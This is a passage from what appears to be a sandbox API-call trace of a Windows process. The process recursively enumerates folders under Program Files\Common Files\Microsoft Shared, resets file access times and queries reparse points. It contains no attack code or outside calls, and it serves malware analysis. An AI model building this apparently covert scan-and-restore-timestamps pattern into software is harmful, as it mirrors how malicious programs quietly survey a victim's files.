dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0062.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa03d40 [0062.494] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa02b38 [0062.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.494] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0062.494] GetLastError () returned 0x12 [0062.494] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0062.494] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0062.494] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.494] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0062.494] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0062.494] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0062.494] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0062.494] GetLastError () returned 0x12 [0062.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.494] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0062.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa022f8) returned 1 [0062.494] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0062.495] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0062.495] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0062.495] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0062.495] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0062.495] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0062.495] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0062.495] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0062.495] GetLastError () returned 0x12 [0062.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0062.495] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0062.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9eea98) returned 1 [0062.495] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0062.495] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0062.495] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0062.495] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.495] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0062.495] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0062.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa04d30 [0062.496] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa04d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa04d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0062.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04d30) returned 1 [0062.496] NtClose (Handle=0x16c) returned 0x0 [0062.496] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0062.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0062.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0062.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0062.496] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0062.496] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.496] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0062.496] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0062.496] GetLastError () returned 0x12 [0062.496] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0062.496] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0062.496] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.496] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0062.496] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0062.577] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0062.577] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa04d30 [0062.578] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa04d30, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa04d30, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0062.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04d30) returned 1 [0062.581] NtClose (Handle=0x16c) returned 0x0 [0062.581] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.581] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0062.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0062.582] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0062.582] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0062.589] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.589] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.589] GetLastError () returned 0x12 [0062.595] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0062.897] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0062.921] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.921] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.921] GetLastError () returned 0x12 [0062.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0062.922] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0062.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0062.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0062.922] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0062.922] GetLastError () returned 0x12 [0062.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0062.922] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0062.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0062.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0062.922] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0062.922] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0062.922] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0062.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA" (normalized: "c:\\program files\\common files\\microsoft shared\\vba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0062.956] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0062.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa04d30 [0062.956] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa04d30, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xa04d30, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0062.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa04d30) returned 1 [0062.957] NtClose (Handle=0x168) returned 0x0 [0062.957] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0062.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0062.958] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0062.959] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0062.959] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0062.959] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.959] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0062.959] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0062.959] GetLastError () returned 0x12 [0062.960] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*", 